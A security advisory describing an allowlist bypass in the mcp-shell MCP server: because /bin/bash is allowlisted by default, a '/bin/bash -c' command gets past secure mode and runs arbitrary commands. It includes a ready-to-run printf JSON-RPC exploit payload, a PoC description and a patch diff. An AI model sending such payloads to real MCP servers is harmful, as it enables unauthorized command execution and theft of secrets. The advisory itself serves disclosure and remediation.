Go · github.com/sonirico/mcp-shell
mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable
mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowed_executables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shell_exec tool and execute commands that are not in the allowlist — including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.
mcp-shell implements a secure mode in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:
# security.yaml (line 29)
allowed_executables:
- "ls"
- ...
- "/bin/bash" # Only allow if you trust the arguments
The comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:
// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
if v.matchesExecutable(executable, allowed) {
if err := v.checkBlockedPatternsAndCommands(command); err != nil {
return err
}
return nil
}
}
executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], `, $, \, ", ') and a configurable list of blocked_commands/blocked_patterns — both of which default to empty arrays in the shipped configuration. The flag -c does not match any blocked metacharacter, so the check passes.
The validated command then reaches the executor:
// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)
parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly — no shell is spawned by the executor itself — but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.
Data flow (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | Dockerfile:55 |
COPY security.yaml /etc/mcp-shell/security.yaml — bundles vulnerable config into image |
| 2 | Dockerfile:57 |
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml — activates config by default |
| 3 | security.yaml:29 |
/bin/bash registered in allowed_executables |
| 4 | main.go:84-102 |
MCP tool shell_exec registered with required command parameter |
| 5 | handler.go:34 |
command := request.RequireString("command") — attacker-controlled input received |
| 6 | handler.go:49 |
h.validator.validateCommand(command) — validation called |
| 7 | security.go:67-96 |
executable = parts[0] matches /bin/bash; -c not blocked; returns nil |
| 8 | handler.go:59 |
Validated command forwarded to executor |
| 9 | executor.go:163 |
exec.CommandContext(ctx, "/bin/bash", "-c", "id") — sink: arbitrary execution |
Prerequisites:
python3 available (for the automated PoC script).Step 1 — Build the Docker image
docker build \
-f vuln-001/Dockerfile \
/path/to/mcp-shell-repo \
-t mcp-shell-vuln-001:latest
Step 2 — Run the PoC script
python3 vuln-001/poc.py mcp-shell-vuln-001:latest
The script sends three MCP JSON-RPC requests over stdio:
initialize handshaketools/call shell_exec with command="/bin/bash -c id" — exploit payloadtools/call shell_exec with command="id" — control: direct invocation must be blockedExpected output (exploit success):
[id=2] /bin/bash -c id response:
→ status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'
[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution successful!
[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
→ allowlist bypass /bin/bash -c only through the path occurs proven
Alternatively, using raw printf (no Python required):
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latest
Observed MCP response:
{
"command": "/bin/bash -c id",
"execution_time": "3.854555ms",
"exit_code": 0,
"security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
"status": "success",
"stderr": "",
"stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}
Remediation (patch guidance):
security.yaml allowlist:--- a/security.yaml
+++ b/security.yaml
- - "/bin/bash" # Only allow if you trust the arguments
security.go to block shell command-mode flags even when a shell interpreter is allowlisted:--- a/security.go
+++ b/security.go
executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+ return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }
// Check if the executable is in the allowlist
for _, allowed := range v.config.AllowedExecutables {
...
}
+
+ func isShellCommandMode(executable string, args []string) bool {
+ base := filepath.Base(executable)
+ switch base {
+ case "sh", "bash", "dash", "ash", "zsh", "ksh":
+ for _, arg := range args {
+ if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+ return true
+ }
+ }
+ }
+ return false
+ }
This is an OS Command Injection vulnerability (CWE-78). The shell_exec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. — all installed by the Dockerfile) under the identity of mcpuser (UID 1000).
Who is impacted:
security.yaml is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.mcp-shell instance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible to mcpuser, or pivot further within the container's network.--network=none flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movIs your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.